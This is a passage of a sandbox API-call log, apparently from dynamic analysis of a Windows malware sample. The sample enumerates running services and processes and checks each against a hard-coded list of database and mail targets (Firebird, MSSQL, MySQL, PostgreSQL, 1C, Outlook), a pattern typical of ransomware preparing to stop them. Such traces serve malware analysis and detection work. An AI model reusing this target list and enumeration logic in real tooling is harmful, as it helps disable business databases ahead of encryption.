[0202.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0202.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0202.683] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0202.683] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0202.684] lstrlenW (lpString="WdiSystemHost") returned 13 [0202.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0202.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0202.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0202.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0202.684] lstrlenW (lpString="WinDefend") returned 9 [0202.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0202.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0202.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0202.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0202.684] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0202.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0202.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0202.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0202.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0202.684] lstrlenW (lpString="Winmgmt") returned 7 [0202.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0202.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0202.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0202.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0202.684] lstrlenW (lpString="wscsvc") returned 6 [0202.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0202.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0202.684] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0202.684] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0202.684] lstrlenW (lpString="wuauserv") returned 8 [0202.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0202.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0202.684] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0202.684] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0202.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0202.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0202.686] Process32FirstW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.687] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.687] lstrlenW (lpString="System") returned 6 [0202.687] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0202.687] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0202.687] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0202.687] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0202.687] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0202.687] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0202.687] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0202.687] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.688] lstrlenW (lpString="smss.exe") returned 8 [0202.688] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0202.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0202.688] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0202.688] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0202.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0202.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0202.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0202.688] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.688] lstrlenW (lpString="csrss.exe") returned 9 [0202.689] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.689] lstrlenW (lpString="wininit.exe") returned 11 [0202.689] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.690] lstrlenW (lpString="csrss.exe") returned 9 [0202.690] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.690] lstrlenW (lpString="winlogon.exe") returned 12 [0202.690] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.690] lstrlenW (lpString="services.exe") returned 12 [0202.690] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.691] lstrlenW (lpString="lsass.exe") returned 9 [0202.691] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0202.692] lstrlenW (lpString="lsm.exe") returned 7 [0202.692] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.692] lstrlenW (lpString="svchost.exe") returned 11 [0202.692] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.692] lstrlenW (lpString="svchost.exe") returned 11 [0202.693] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.693] lstrlenW (lpString="svchost.exe") returned 11 [0202.693] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.693] lstrlenW (lpString="svchost.exe") returned 11 [0202.693] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.694] lstrlenW (lpString="svchost.exe") returned 11 [0202.694] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.694] lstrlenW (lpString="audiodg.exe") returned 11 [0202.694] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.695] lstrlenW (lpString="svchost.exe") returned 11 [0202.695] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.695] lstrlenW (lpString="svchost.exe") returned 11 [0202.696] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.696] lstrlenW (lpString="dwm.exe") returned 7 [0202.696] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.697] lstrlenW (lpString="explorer.exe") returned 12 [0202.697] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.697] lstrlenW (lpString="spoolsv.exe") returned 11 [0202.697] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0202.698] lstrlenW (lpString="taskhost.exe") returned 12 [0202.698] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.698] lstrlenW (lpString="svchost.exe") returned 11 [0202.698] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0202.699] lstrlenW (lpString="taskeng.exe") returned 11 [0202.699] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0202.699] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0202.699] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0202.700] lstrlenW (lpString="nova.exe") returned 8 [0202.700] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0202.700] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0202.700] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0202.701] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0202.701] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0202.701] lstrlenW (lpString="picks blair.exe") returned 15 [0202.701] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0202.702] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0202.702] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0202.702] lstrlenW (lpString="principal.exe") returned 13 [0202.702] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0202.703] lstrlenW (lpString="transportation.exe") returned 18 [0202.703] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0202.703] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0202.703] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0202.704] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0202.704] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0202.704] lstrlenW (lpString="planned.exe") returned 11 [0202.704] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0202.705] lstrlenW (lpString="springer andrew.exe") returned 19 [0202.705] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0202.705] lstrlenW (lpString="cakes import.exe") returned 16 [0202.705] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0202.706] lstrlenW (lpString="theory.exe") returned 10 [0202.706] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0202.706] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0202.706] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0202.707] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0202.707] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0202.707] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0202.707] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0202.708] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0202.708] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0202.708] lstrlenW (lpString="indicescancellation.exe") returned 23 [0202.708] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0202.709] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0202.709] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0202.709] lstrlenW (lpString="desk.exe") returned 8 [0202.709] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.710] lstrlenW (lpString="svchost.exe") returned 11 [0202.710] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0202.710] lstrlenW (lpString="sppsvc.exe") returned 10 [0202.710] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.711] lstrlenW (lpString="svchost.exe") returned 11 [0202.711] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.711] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.711] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.712] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.712] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0202.712] lstrlenW (lpString="winhost.exe") returned 11 [0202.712] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.713] lstrlenW (lpString="cmd.exe") returned 7 [0202.713] Process32NextW (in: hSnapshot=0x118, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0202.713] CloseHandle (hObject=0x118) returned 1 [0202.713] Sleep (dwMilliseconds=0x1f4) [0204.322] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fca8 [0204.322] EnumServicesStatusExW (in: hSCManager=0x63fca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0204.322] GetLastError () returned 0xea [0204.323] EnumServicesStatusExW (in: hSCManager=0x63fca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a08628, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a08628, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0204.323] CloseServiceHandle (hSCObject=0x63fca8) returned 1 [0204.323] lstrlenW (lpString="Appinfo") returned 7 [0204.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0204.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0204.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0204.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0204.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0204.323] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0204.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.323] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0204.323] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0204.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0204.323] lstrlenW (lpString="AudioSrv") returned 8 [0204.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0204.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0204.323] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0204.323] lstrcmpiW 